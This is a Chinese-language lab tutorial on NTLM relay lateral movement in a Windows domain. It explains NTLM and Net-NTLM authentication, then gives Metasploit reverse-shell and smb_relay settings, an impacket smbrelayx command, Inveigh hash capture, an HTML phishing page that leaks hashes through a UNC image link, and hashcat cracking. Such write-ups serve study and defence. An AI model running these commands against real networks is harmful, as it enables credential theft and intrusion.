章节点
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
基本知识点
与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews)
可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。
由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。
NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。
Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。
NTLM认证过程
- 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
- 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
- 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
- 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
如果是在域环境中,那么认证过程会经过域控制器:
4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
服务器根据DC返回的结果,对客户端进行回复
在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。
横向移动-NTLM中继攻击-Relay重放-SMB上线
条件
通讯双方当前用户和密码一致
例如 webserver中有本地用户administrator/admin!@#45
并且sqlserver本地用户也有administrator/admin!@#45
那么可以通过 dir \192.168.3.32\c$访问到sqlserver下C盘文件,因为访问时默认会使用当前用户密码进行验证对方电脑账号密码
当访问DC(administrator/Admin12345)时,密码错误,就无法查看DC目录
cs转发上线msf
CS:
spawn l-msf
MSF:
监听上线:
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport 8787 run
添加路由:
run autoroute -p //查看当前路由表 run post/multi/manage/autoroute //添加当前路由表 backgroup //返回
smb_relay模块(ms08-068)
重发模块:
use exploit/windows/smb/smb_relay set smbhost 192.168.3.32 //转发攻击目标 set lhost 47.94.130.xx //设置本地IP set autorunscript post/windows/manage/migrate
主动连接:
set payload windows/meterpreter/bind_tcp set rhost 192.168.3.32 //设置连接目标 run
关键是如何获取administrator权限
从system权限进行令牌窃取获取administrator权限
msf下窃取令牌
很遗憾没有复现成功(生成新的对话)
在公网vps上测试:
一开始以为是网络问题,切换至本地kali上同样也是只返回一段hash值,并没有生成新的对话
Impacket中的smbrelayx.py
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1(webserver)访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2(sqlserver) 。
./smbrelayx.py -h <Client2 IP> -c Command
……
横向移动-NTLM中继攻击-Inveigh嗅探-Hash破解
条件:被控主机当前管理员权限
Responder中继攻击-NTLM Hash破解
https://github.com/hashcat/hashcat/
https://github.com/Kevin-Robertson/Inveigh
1、监听拦截
Inveigh.exe
获取到的是NET NTLM HASH V1或V2
2、触发拦截
dir \\192.168.3.x\c$
2.1、钓鱼触发
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="file:///\\192.168.3.32\2"> </body> </html>
3、破解
hashcat -m 5600 hash pass.txt --show